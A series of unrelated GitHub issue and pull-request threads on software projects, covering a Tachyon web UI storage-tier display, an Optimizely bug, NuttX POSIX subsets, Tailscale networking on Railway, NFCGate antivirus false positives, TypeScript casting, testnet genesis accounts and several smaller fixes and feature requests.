[TACHYON-274] WebUI Improvement about Hierarchy

We fix the problem talked in https://github.com/amplab/tachyon/pull/651. We adjust the hierarchy information to "Hierarchy Store Alias" "Space Capacity" "Space Used" and "Space Usage".  We consider the different setup of workers and only care about the usage of MEM, SSD and HDD. For example, if some workers doesn't have SSD, we won't compute the space usage of SSD of these workers. Maybe there are better ways to collect these information other than collect them to master, we will try to find better ways if possible. I'm so sorry for closing last PR, I have deleted the branch by mistake.

@haoyuan  @dcapwell   @shimingfei  @RongGu

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Tachyon-Pull-Request-Builder/2685/Failed Tests: 1org.tachyonproject:tachyon: 1tachyon.master.MasterFaultToleranceTest.faultTest
Test FAILed.

This still goes back to my question on why? Could you talk about use cases
you have that need this data on master other than display purposes?
On Feb 9, 2015 4:52 AM, "UCB AMPLab"<EMAIL_ADDRESS>wrote:

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Tachyon-Pull-Request-Builder/2685/
Failed Tests: 1 org.tachyonproject:tachyon
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/2685/org.tachyonproject%24tachyon/testReport:
1

tachyon.master.MasterFaultToleranceTest.faultTest
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/2685/org.tachyonproject%24tachyon/testReport/tachyon.master/MasterFaultToleranceTest/faultTest/

Test FAILed.
—
Reply to this email directly or view it on GitHub
https://github.com/amplab/tachyon/pull/655#issuecomment-73503530.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Tachyon-Pull-Request-Builder/2687/
Test PASSed.

@dcapwell , I think displaying the data on master is for monitoring the status of Tachyon. And, it's important enough. Otherwise, users have no idea how many spaces are used and left, which may lead to  insuitable usage. Also, displaying the data here will also be very useful for the developers to evaluate the upcming cache policies. Actually, in the existing codebase, the worker's capacity, used space capacity etc. are carried to master and displayed on webUI in this way. In this case, we only added 2 long variables in each heartbeat, which is not a large overhead, I think.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Tachyon-Pull-Request-Builder/2688/
Test PASSed.

"I think displaying the data on master is for monitoring the status of Tachyon. And, it's important enough."
I fully agree that monitoring is very important, I just don't believe that the master can do a OK job without a lot more work that would not really help it; other systems do a better job and give use way more information.
"Otherwise, users have no idea how many spaces are used and left, which may lead to insuitable usage"
fully agree with you, exposing this for users is important and should be a to priority.  My issue is with the way it's implemented will not do a good enough job.  The ui well tell you current state as of latest heartbeat (larger clusters would have this set around 30 second), but my application was having issues last night; how would this be solved here? What else also happened around the same time? What where the latencies experienced while eviction happened?
"Also, displaying the data here will also be very useful for the developers to evaluate the upcming cache policies."
I mostly agree with you here; evaluation of eviction policies needs to know this data.  But there is also a lot more information needed for that: what are the latencies introduced by eviction happening over large and small sizes (# files and size of files), what were the sizes at the time of eviction, how many active users are in play, what's the write frequency, how long are locks held, ect. I would argue for eviction these are just as important to know, so would you recommend that this information is also synced to the master every few seconds?  Why not use existing tools that solve this problem for us? What do we gain by having the master try to do this?
"Actually, in the existing codebase, the worker's capacity, used space capacity etc. are carried to master and displayed on webUI in this way. In this case, we only added 2 long variables in each heartbeat, which is not a large overhead, I think."
Correct, worker sends the current size as a long, but this patch sends two long lists, which have a larger cost on java than just two longs.  The impl also generates a ton of garbage (java term) when anything accesses these variables.
I talked to hy last night about this, so it seems there are two people who want it and one who doesn't.  I have yet to be convinced that this is a good idea (no issues sending this information over if something else needs it; redo the eviction logic and depend on this information and you will get a +1 from me), but since majority want it I'll back down.

Yeah, thanks. At first, I use usedBytesByAlias to show the used bytes of each different storage level alias. For example, usedBtyesByAlias.get(0) means used bytes of the level whose alias is MEM; usedBytesByAlias.get(1) means used bytes of the level whose alias is SSD; usedBytesByAlias.get(2) means used bytes of the level whose alias is HDD. By now, the length of the list is three. And usedBytesOfAlias means used bytes of one of the three different storage level alias.
In the example worker0: layer0: SSD layer1: HDD  worker1: layer0:MEM layer1: SSD layer2:HDD
the usedBytesByAlias of worker0 : {0, usedBytesOfSSD, usedBytesOfHDD}
the usedBytesByAlias of worker1 : {usedBytesOfMEM, usedBytesOfSSD, usedBytesOfHDD}
I know usedBytesByAlias cannot show the level information clearly. How about rename usedBytesByAlias to usedBytesOnLevels and rename totalBytesByAlias to totalBytesOnLevels to show the information? And rename usedBytesOfAlias to usedBytesOnLevel?  The level is distingulished by alias like MEM,SSD,HDD. I think tier doesn't show the level information. Hope you suggestions.

@shimingfei  Variable names have been changed, and mCapacityBytesByAlias has been deleted. And the list like usedBytesOnTiers is kept, I will change it to map in later PR if it is necessary later.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Tachyon-Pull-Request-Builder/2705/
Test PASSed.

@Yours-shupeng  ; Besides addressing @calvinjia 's comments, could you please also merge the master branch? Thanks.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Tachyon-Pull-Request-Builder/2731/
Test PASSed.

Only concern I have is this makes the web interface more reliant on accessing masterInfo directly since we may want to move to having the web UI also act as a client. LGTM otherwise.

Thanks!


Proper naming

Proper naming

Thanks for this suggestion, but I prefer un-minified as it pairs better with minified


'Compare different versions' option doesn't work when adding an external link to a page

How to reproduce:

Define Optimizely page and add a LinkDataCollection as described here
Run the application, create page and add an external link to the page
Try to compare versions

I got "Preview is not available for this item" on the screen and this error in dev console:
epi.js:4092 TypeError: Cannot read properties of null (reading 'map')
    at Object._valueGetter (ItemCollectionViewModel.js:237:25)
    at Object._get (epi.js:4422:71)
    at Object.get (epi.js:4440:25)
    at Object._getValueAttr (ItemCollectionEditor.js:533:31)
    at Object.get (_WidgetBase.js:746:39)
    at _FormMixin.js:91:36
    at Object.forEach (dojo.js:3612:6)
    at Object._getValueAttr (_FormMixin.js:86:19)
    at Object.get (_WidgetBase.js:746:39)
    at Object._getValueAttr (FormContainer.js:114:50) "TypeError: Cannot read properties of null (reading 'map')\n    at Object._valueGetter (https://paragon.localtest.me:8443/EPiServer/Geta.Optimizely.GenericLinks/1.5.0/viewmodel/ItemCollectionViewModel.js:237:25)\n    at Object._get (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/epi/epi.js:4422:71)\n    at Object.get (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/epi/epi.js:4440:25)\n    at Object._getValueAttr (https://paragon.localtest.me:8443/EPiServer/CMS/12.22.1/ClientResources/epi-cms/contentediting/editors/ItemCollectionEditor.js:533:31)\n    at Object.get (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dijit/_WidgetBase.js:746:39)\n    at https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/EPi/patch/dijit/form/_FormMixin.js:91:36\n    at Object.forEach (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:3612:6)\n    at Object._getValueAttr (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/EPi/patch/dijit/form/_FormMixin.js:86:19)\n    at Object.get (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dijit/_WidgetBase.js:746:39)\n    at Object._getValueAttr (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/EPi/shell/widget/FormContainer.js:114:50)\n    ----------------------------------------\n    rejected at signalDeferred (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:8372:15)\n    at signalListener (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:8343:5)\n    at Deferred.then.promise.then (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:8546:5)\n    at when (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:9065:26)\n    at Object.<anonymous> (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/EPi/shell/widget/FormContainer.js:278:25)\n    at https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:3135:55\n    at runFactory (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:1107:43)\n    at execModule (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:1236:5)\n    at https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:802:7\n    at guardCheckComplete (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:1251:5)\n    ----------------------------------------\nError\n    at Deferred.then.promise.then (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:8540:24)\n    at when (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:9065:26)\n    at Object.<anonymous> (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/EPi/shell/widget/FormContainer.js:278:25)\n    at https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:3135:55\n    at runFactory (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:1107:43)\n    at execModule (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:1236:5)\n    at https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:802:7\n    at guardCheckComplete (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:1251:5)\n    at contextRequire (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:801:6)\n    at req (https://paragon.localtest.me:8443/EPiServer/Shell/12.22.1/ClientResources/dojo/dojo.js:137:11)"

This has been addressed in v1.6.1 and submitted to https://nuget.optimizely.com/

@jevgenijsp can you upgrade and verify that this is fixed?

@svenrog
Yes, it is fixed in the newest version.
But I noticed another problem, I'll create a new ticket.


Add support to use NuttX as POSIX PSE51 system

NuttX is a very complete POSIX RTOS, but sometimes for low end applications like some low cost automotive application POSIX standard is overwhelming.
This issue was fixed with PSE51 subset, the doesn't require many POSIX features, like file systems, etc.
Some years ago I removed many of NuttX features to make it running in a low end DIP package LPC1114 MCU, picture here:
https://flickr.com/photos/79703543@N00/18013069041/in/dateposted-public/
After some time this minnsh demo was removed from NuttX mainline and many options to disable feature also were removed from kernel (option to disable FILES, VFS, etc). It is important to remove this option to disable NuttX features to make it adaptable to POSIX PSE51 standard.

it's a very interesting topic, we are looking to fully support PSE51 spec.

The ability to run NuttX on low cost chips would be a very cool feature, but if we're thinking about PSE51, then supporting the rest of POSIX RT profiles would be a good idea.
If we could select supported POSIX features by just setting the appropriate configuration option, it would be perfect.
It's very interesting how low it's possible to go for NuttX with the required chip resources.

The POSIX missing functions can be found here:
<EMAIL_ADDRESS>

@xiaoxiang781216 @raiden00pl I think we need to rollback that patches that disabled the ability to disable signals, to remove VFS support, etc. The PSE51 doesn't require it. Please see the discussion at Discord: https://discord.com/channels/716091708336504884/716091708819111959

I'll deal with this issue sometime at the beginning of next year. Is there any discussion or justification for removing these options (DISABLE_SIGNALS etc) in the past ? I think I saw something like this before, but I can't remember where.


Private networking

Using your template, I appear to have managed to connect to the private railway network and to ping the exit node, but can't seem to ping the services in the network via their railway private domain.
Have you tried doing so?

Yeah you can ping the exit node because it has tailscale installed and is part of your tailnet, but to access other railway services you need either

Install tailscale on every service you need to get access to, or

SSH into the exit node then connect to other services through the exit node's SSH session

Railway private domains work by DNS resolution in railway network, what tailscale does is that it routes your traffic through the exit node, but DNS resolution is done by tailscale DNS so it can't resolve railway's private domain names

I am not able to install tailscale on the service, nor am I able to SSH into it.
What's weird is that the hostname appears to be resolved in some way, because pinging the correct internal hostname hangs whereas pinging a non existing one just fails right away. Any ideas?

Also, is there a way to use subnet to allow the exit node to act as passthrough?

Is this project intended to be embedded into every railway service we intend to use?

No this project was intended to be used as a personal VPN, but tailscale itself can be used for many things in networking

Have you managed to access things via tailscale via railway?

No because this is not the purpose of this repo

There is now tailscale subnet router template from the official railway team, which does exactly what you need here
Let me know if you have more questions, I'd be happy to help


Scanner reports

May I kindly ask to take a look at VT for the latest release? With two major engines agreeing and being supported by 2 others, I'm not 100% sure to call it a "false positive" (maybe something slipped in?). I'll remove this update from IzzyOnDroid for now, just to be on the safe side (no offense meant of course!) – waiting for your response. Thanks for taking care!

That's odd. We will have a look. Thanks for making us aware!

Odd indeed! Hope it's something easy-to-fix :crossed_fingers:

The previous NFCGate version 2.3.0 is also flagged now. Building a debug version locally from source also triggers the detection. This is a false positive. We will reach out to the vendors.

Oof, by 5 engines even. Guess it's the "cart in front of the horse" again, scanners detecting something malware would use as well instead of the other way around (wouldn't be the first time). Hope you can identify the culprit and have it fixed by its vendor. Thanks again for digging in!

After some communication with vendors, the newest version 2.4.2 is no longer flagged as malware or unwanted software. However, older versions and debug versions still are. I will keep this issue open for further updates.

I'm afraid the false positive is in part also because of this
https://www.welivesecurity.com/en/eset-research/ngate-android-malware-relays-nfc-traffic-to-steal-cash/

Ah, so again they blame the producer of the getaway car for the bank robbery performed by the car's driver. Not the first time I see such… :man_facepalming:

We have added a statement regarding the recent news.

Thanks!

Ouch, it's getting worse: this time it's 9 engines, so v2.4.4 showed up with a red shield screaming "Alert!"
Could you please include a hint with your app description (full_description.txt) linking to your statement? I've just injected the following paragraph here locally, but it would be overwritten with your next update:

Important notice: Currently, NFCGate is wrongly flagged as malware by multiple scanning engines. Please see the statement of the NFC Gate team for background on this. In short, this app is not malware. Malicious actors copied significant portions of source code from NFCGate when creating their malware, so this app is wrongly detected as such.

I wrote it in the third person to make clear it's not part of your description, but be welcome to copy (and optionally adjust) it to your full_description.txt. Thanks!
@roussosalex @kleest

Hi @IzzySoft, sounds like a good idea! We will include a statement as part of the next update.

Preview from here:

Hm, no icon? Ah, couldn't be fetched because it's a symlink in the fastlane structure (something the Github API doesn't handle easily or I'm to stupid to figure how). OK, fixed now manually :wink:


Cannot remove private channel

As a workaround mentioned in issue #172, I installed the private channel and now I cannot remove it. Every time I try, even after a reboot and a factory reset, it times out with an error stating, "Could not remove 'PhotoView for Google Photos'. Please try again later."

Tryed this again today and seemed to work now. Very strange..


amfora: 1.8.0 -> 1.9.0

Motivation for this change
https://github.com/makeworld-the-better-one/amfora/releases/tag/v1.9.0
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 149734 run on x86_64-darwin 1

1 package built:

amfora


Implement QPP backend

Added the accelerator which has its visitor backend based on QPP library.

Added unit tests: use deuteron and deuteron VQE as test cases.

Signed-off-by: Thien Nguyen<EMAIL_ADDRESS>Remove unneccessary files
Signed-off-by: Thien Nguyen<EMAIL_ADDRESS>

This passes IP check and contributor is covered under UT-Battelle MLA


type-safe cast

There doesn't seem to be a safe cast in Typescript. (<T> x) does no dynamic check. This is a very common need and is provided in every other optionally and gradually typed language I know of. What is needed is something like:
function cast<T>(x: any): T {
    if (x instanceof T) return x;
    throw new Error('type cast exception');
}

except that doesn't compile. Is there an alternative solution I'm missing?

function cast<T>(instance: T, ctor: { new(...args: any[]): T }): T {
    if (instance instanceof ctor) return instance;
    throw new Error('type cast exception');
}

The reason there's no built-in operation for this is that it's not possible at runtime to detect many things (for example, (x: number) => any and (x: string) => any are indistinguishable from a runtime perspective).

I think you're just saying that instanceof is broken on primitives in JavaScript. But why can't we have a cast operation that is consistent with the semantics of instanceof? Which would work as expected on classes.

Can you post an example of how you'd want that to work? instanceof is already a qualifying operation for a type guard (e.g. if you have var x: Giraffe|Elephant, if(x instanceof Giraffe) { x.longNeck(); } works)

Like I said:
function cast<T>(x: any): T {
    if (x instanceof T) return x;
    throw new Error('type cast exception');
}

I find I keep repeating that boilerplate which mimics a "normal" safe cast operation.

For example, let's say you wrote the following:
interface Foo {
  (x: string): void;
}

var j: any = whatever;
var x = cast<Foo>(j);

/* write the JavaScript you would expect to be emitted here */

The cast function that can exist is the one I wrote above -- you have to specify the constructor function, but the types work as expected and the runtime behavior is correct.

OK. I'd expect that to be an error, but that certainly would be annoying for a supposed cast expression.
How does your suggestion work? This doesn't:
function cast<T>(instance: T, ctor: { new(...args: any[]): T }): T {
    if (instance instanceof ctor) return instance;
    throw new Error('type cast exception');
}
class A {
    foo: number;
}
var x: A | number = new A();
var y:A = cast<A>(x, A);

test.ts(9,19): error TS2345: Argument of type 'number | A' is not assignable to parameter of type 'A'.
Type 'number' is not assignable to type 'A'.

Thanks @duanyao that's exactly what I was looking for!


SAAS

Offer fremium Software as a service.

Came here to mention this as well. You listed Sentry under the "Open core & paid versions", but I'm not sure it's the same. I might be wrong about Sentry, but I think the hosted version is same as open source. Another example is Ghost.
Also my project, Redash, has a similar model -- we have a hosted version which is the same as the open source one. What you pay for is hosting and the fact it's a service.
Maybe it should have a category of its own?

Same as #6? SAAS might be a better term than Hosted.

Should I rename "Managed or hosted services" to SaaS?

yeah that is a more trendy name, although it doesn't include things like "Gitlab on premise". Anaconda Server is another example of an managed open source product. So maybe SaaS / managed is better?

or maybe you are saying its not worth being that granular, which is also a good point for just saying SaaS

yeah, I'll leave it as it is now (SaaS, Open core) unless someone takes issue with it. Thanks so much for clarifying these!


#184581180 Update User Profile

What does this PR do?
This PR allow user to get and update his profile. It also allow other authenticated users to get a certain user's profile
Description of Task to be completed?
Have the following endpoints working

GET /user/profile
GET /user/<user_id>
PATCH /user/updateMe

How should this be manually tested?
First make sure you have docker installed. In your terminal;

In your e-comm-team-amigos-bn directory, open terminal and run git fetch origin pull/28/ft-user-profile-184581180
Checkout to ft-user-profile-184581180 branch
Run npm install
Run npm run dev
In postman or documentation do the following

Create Account / Signup
Use the returned token for authorizarion
Make requests on above mentioned endpoints.

Any background context you want to provide?

Story ID: 184581180

Accidentally closed.


Fix abi returntype casing

What current issue(s) from Github does this address?
Fix #135
What problem does this PR solve?
Fixes incorrect casing in .abi.json output so that it matches the Neon compiler output, improving compatibility with the Neo Blockchain Toolkit's Visual DevTracker.
How did you solve this problem?
Changed a big T to a little t.
How did you make sure your solution works?
Tested neo-boa contract detection in Visual DevTracker deploy menu before and after the change.
Are there any special changes in the code that we should be aware of?
Nope.

Can you also update unit tests, please?

@EdgeDLT I understand the fix is for Visual DevTracker, but does this break deploying from neo-cli or have they updated it there as well? If so, will this mean that it will only work for e.g. neo-cli 2.11 or is it backwards compatible with 2.10.3? his question is mainly to understand if we should put a warning in the release notes. Thanks
As for the request from @meevee98 , she's referring to this
======================================================================
ERROR: test_abi_method_without_return_type (tests.test_abi_methods.TestContract)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/travis/build/CityOfZion/neo-boa/boa_test/tests/test_abi_methods.py", line 117, in test_abi_method_without_return_type
    self.assertEqual(main_function['returnType'], 'Void')
KeyError: 'returnType'
======================================================================
ERROR: test_abi_methods_only_entry_point (tests.test_abi_methods.TestContract)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/travis/build/CityOfZion/neo-boa/boa_test/tests/test_abi_methods.py", line 78, in test_abi_methods_only_entry_point
    self.assertEqual(main_function['returnType'], 'Any')
KeyError: 'returnType'
======================================================================
ERROR: test_abi_methods_success (tests.test_abi_methods.TestContract)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/travis/build/CityOfZion/neo-boa/boa_test/tests/test_abi_methods.py", line 22, in test_abi_methods_success
    self.assertEqual(main_function['returnType'], 'Any')
KeyError: 'returnType'
----------------------------------------------------------------------

@meevee98 once we merge this

Coverage remained the same at 89.953% when pulling d238ffb4264ff62b35066159c7ead7115f3bf78c on EdgeDLT:master into 7c7451c8c6f6e497fbaeecc2648fc7b3c041dd01 on CityOfZion:master.

@ixje as far as I'm aware this has been the standard format used by neo-cli for some time, nothing should have changed between 2.10.3 and 2.11.0. This output matches the NEP-3 standard.

I'll take it. Thanks!


Testnets and Devnets genesis accounts

Motivation
We'd like to easily enable devs to have accounts with funds to test transactions before one of their accounts got coins view rewards. This will make it easier to work with transactions on devnets and on testnets.
We have recently added features to smrepl to restore a wallet from a mnemonic so we can use this to empower dev to quickly create a wallet with the genesis accounts in a localnet / devnet. The public keys below are accounts from wallets we have the mnemonic for.
Current genesis account were generated ad-hoc and we don't have the mnemonic for them to be able to restore a wallet for them.
So the workflow for testing transactions on a localnet becomes:

use smrepl to connect to one of the localnet nodes.
restore a walllet from the dev builds mnemonic (will be shared in smrepl readme and in go-sm readme)
transact with one of the genesis accounts - the first account that is auto created for a new restored wallet will be one of the genesis accounts.

We can also provide a pre-configured wallet file and share its password, so the alt flow will be top open this wallet in smrepl from file.
For public testnets, this change will enable testing of transactions more quickly as soon as epoch 2 starts without having to wait for a coinbase address to get rewards in order to transact.
So the flow for interactive transaction testing on epoch 2 or later becomes:

Restore wallet account from mnemonic.
Transact using first tap account in smrepl - first generated account will be the first tap account.

Requested Changes
Testnet Builds
Config node to use the following public keys for genesis accounts:

Account 1 - 0xb00cf3277cccea8e4646fcefff083c9a22e05d3459b03f3dbed61c7ad6e0a209
Account 2 - 0x6103d379083cbb70715af3f7b20c3a31f973231e01bf2d6b5c00a22cc13b5c63
Account 3 - use the public tap account public address already used in recent testnet builds.

Localnet and dev builds:
Config node to use the following public keys for genesis accounts:

Account 1 -  0x1c3f3ef374446822d12d8cf18868600d2835019249a0f756f754d5a5ab17ebf0
Account 2 - 0xd10cce6f71be8c5cb32097bf9f120e40e330affe6aa27d5bda49ac0960df7d6f

Just to be clear, it's also possible to restore a wallet from a private key, right?
A mnemonic can be derived from a private key or vice-versa the private key can be derived from the mnemonic. So if we have the private key for the tap accounts whose public keys are used today - we can derive a mnemonic for them. Have we lost the private keys? We should store them in 1Password if we aren't already.
Also, I'm not sure what change should be made to the code based on this issue... Setting the config for testnet is currently done manually and I'm not sure how the config for the devnet is generated, but it's not in this repo's code AFAIK. Maybe @narayanprusty can help direct you to the right repository.

the pub keys for genesis accounts are currently hard coded in go-sm for both dev and testnets.
regarding mnemonic - it is derived from entropy - not from ec key pairs following bip39 and friends here but in the node we only need to include pub keys of derived accounts.

Related: #2004

I think we can agree that ideally:

Testnet genesis accounts should be defined in TN config file and not hard-coded in go-sm - a {pubKey, balance} tuple.
Localnet genesis accounts should be defined in TN config file for each localnet nodes - similar to tn.
Genesis accounts should only be hard-coded in go-sm if they are needed for CI for tests of nodes that are started w/o a config file - I believe that we still have some tests that use these. Ideally these tests can also configure genesis account via config files.

@avive @noamnelke is there a case when we want to configure a nonce for an initial account? I am working on this issue, and considering if I can simplify config a bit

I'm not 100% sure why you mean. The nonce in genesis accounts should always be 0 as these accounts didn't execute any transactions - similar to you sending some coins to an account that was not on the mesh - it is created with a balance and a zero nonce.

Thats what i thought as well, GenesisConfig allowed setting account nonce to a non-zero value. I removed it

one thing to check - the non-zero nonce might have been used in some tests so they might need to be updated.

So to summarize, what we need to do is to add support to a node config file which will have user node settings such as post and an immutable network config file that has the network params which are on consensus on genesis. The genesis accounts should be part of the network config file.

Next step on this task is to publish a config file for 0.2 devnets that has the requested tap account as part of a devnet release flow. @moshababo

i think we can add it to all configs that are used in go-spacraft.

@avive what balance is enough? 10^5 SMH is good?

yes and to be clear devnet accounts should be the same as testnet accounts.

@avive i will use 4 public keys that you provided in the issue, both for testnets and devnet. but where is can find:

Account 3 - use the public tap account public address already used in recent testnet builds.

Did you mean keys that we have in internal default config?

From Yael - this is the address fo the testnet's community tap.

From Yael - this is the address fo the testnet's community tap.


lint: use make_unique/make_shared wherever possible

Signed-off-by: Lizan Zhou<EMAIL_ADDRESS>Description:
Mostly generated by run-clang-tidy-7 -checks='-*,modernize-make-*' -fix, with a few manual change to make build pass.
For #4863
Risk Level: Low
Testing: CI
Docs Changes: N/A
Release Notes: N/A

@mattklein123 it caught another check involved in diff, fixed that. @zyfjeff has plan to fix all of them in follow up PRs.


[stable/redis-ha] haproxy exporter

Describe the bug
haproxy_exporter doesn't work as expected
Version of Helm and Kubernetes:
Which chart:
stable/redis-ha
What happened:
error @ kubectl logs -n development dunking-starfish-redis-ha-haproxy-7758ff7b5d-p2ck7 prometheus-exporter
time="2019-09-09T09:50:55Z" level=error msg="Can't scrape HAProxy: dial unix /run/haproxy/admin.sock: connect: no such file or directory" source="haproxy_exporter.go:305"
curl -s HAPROXY IP ADDRESS:9101/metrics | grep haproxy_up.[01]
haproxy_up 0
What you expected to happen:
prometheus-exporter does work
How to reproduce it (as minimally and precisely as possible):
helm install stable/redis-ha
--set haproxy.enabled=true
--set haproxy.exporter.enabled=true
Anything else we need to know:
The issue can be fixed by adding
    global
      stats socket /run/haproxy/admin.sock mode 660 level admin

to the configmap (haproxy.cfg)

I will label this as a duplicate of https://github.com/helm/charts/issues/16862 @man4red
I think we're better off moving to the built in metric exporter.


Dissipative processes

This pull requests outlines a question about dissipative processes. I don't think any of the current energy LOs really cover the concept of dissipation so we could add one about dissipative processes or something more general about understanding energy in terms of thermodynamics, outside of bernoulli's principle.
https://github.com/open-resources/instructor_physics_bank/pull/38

ok I've added LO 17.1.8 - "Define a dissipative process." which I think works for the question


laryngeal cleft

laryngeal cleft
DEF: presence of a gap in the posterior laryngotracheal wall with a continuity between the larynx and the esopahagus
SOURCE: HP:0008751
SYN: laryngotracheal cleft
SYN: laryngotracheoesophageal cleft
Annotation in J:76496

Added new term:
laryngeal cleft MP:0030899


Add support for range specifications in trace resolver

https://github.com/google/perfetto/blob/main/python/perfetto/trace_uri_resolver/resolver.py#L29
The current constraintClass only supports a couple of compactors. The API will parse an input URI into dict, if we specific a URI like "custom:time>123;time<456", from my understanding, the trace resolver won't work properly, since the key "time" in the dict will get overwritten. For example, if you see how the result is parsed: https://github.com/google/perfetto/blob/main/python/perfetto/trace_uri_resolver/resolver.py#L127, my guess is that only 'time<456' will take effect.
I am proposing that we add an additional OP to support ranges. e.g. the op "<>" can be added, so we can specify the above URI like "custom:time<>123,456". Also, the parsed results need to be specified in a list, something like
'key': [ConstraintClass(123, Op.GE), ConstraintClass(456, Op.LE)]

Then our customized trace resolver can take it over from there.
Let me know if this makes sense. I can help contribute the code.

Yeah all seems reasonable. Contributions welcome.


Confused about custom metrics

Hi! Thanks a lot for this immensely useful tool :)
I am trying to add metrics from https://github.com/DmitryTsepelev/io_monitor - it can publish data to ActiveSupport notifications so I am trying to expose memory info per endpoint as metrics to Prometheus. I am trying to find out which speciendpoints use the most memory because we seem to have a problem with growing memory usage that seems to be triggered randomly.
At the moment I have this in an initializer:
IoMonitor.configure do |config|
  config.publish = [:logs, :notifications] # defaults to :logs
  config.warn_threshold = 0.8 # defaults to 0
  config.adapters = [:active_record, :net_http, :redis] # defaults to [:active_record]
end

if Rails.env.production?
  require 'prometheus_exporter/client'

  client = PrometheusExporter::Client.new(host: '<IP_ADDRESS>', port: 9394)

  ActiveSupport::Notifications.subscribe("process_action.action_controller") do |name, start, finish, id, payload|

    io_monitor = payload[:io_monitor] || {}# { active_record: 866, response: 25 }

    metrics = payload.slice(:controller, :action, :method, :status, :view_runtime, :db_runtime, :path).merge(io_monitor)

    client.send_json(metrics)
  end
end

But I don't see these metrics in Prometheus. Do I need a custom collector? sorry, I read the README but I am still confused. All I would like to see is the most offending endpoints for memory usage. Thanks!

Yeah, if you are publishing custom metrics you need something to collect them.

I personally don't use custom collectors, I just send the metrics directly to the prometheus_exporter server from Sidekiq


Support of Conformer transducer

Thanks for your great codes!
The SOTA of the ASR model is Conformer proposed by Google. In the raw paper, the conformer is a transducer-based model (a conformer encoder + lstm decoder, named transducer model). I find that many open-source tools actually implement an attention-based model ( conformer encoder + transformer/lstm attention decoder) rather than transducer.
For purpose of research, we hope to propose a new paradigm based on the SOTA methods to make our findings significant and convincing.  Can you provide the transducer-based model with a conformer encoder on LibrSpeech (a well-known benchmark)?  Ideally, reach the score reported in the conformer paper. [https://arxiv.org/abs/2005.08100]
Many thanks for your great codes again!

Hi,
SpeechBrain already supports Conformers and Transducers. We are currently doing some experiments with Conformers within a traditional seq2seq pipeline (@JianyuanZhong). We expect an improvement with that. The next step could be to combine Conformer with Transducer. What do you think @aheba? In general, replicating the best results from other papers is not an easy job though, especially if the code is not released and you don't have the same amount of gpu of google. For this reason, I think the help of the community could be really precious!

I suggest continuing the discussion about new features in the discourse channel!
https://speechbrain.discourse.group/


Documentation Request - num_warps

Could we get some additional information around the num_warps parameter in the Triton Docs? Currently this only looks to briefly discussed in the Fused Softmax and Matrix Mult tutorials.

Hi!
num_warps stands for "number of warps", where a warp is a collection of 32 GPU threads.
Triton uses num_warps to compute data layout and to generate final results.
Since num_warps is an important parameter, I think it's a good idea to add detailed explanations about it.

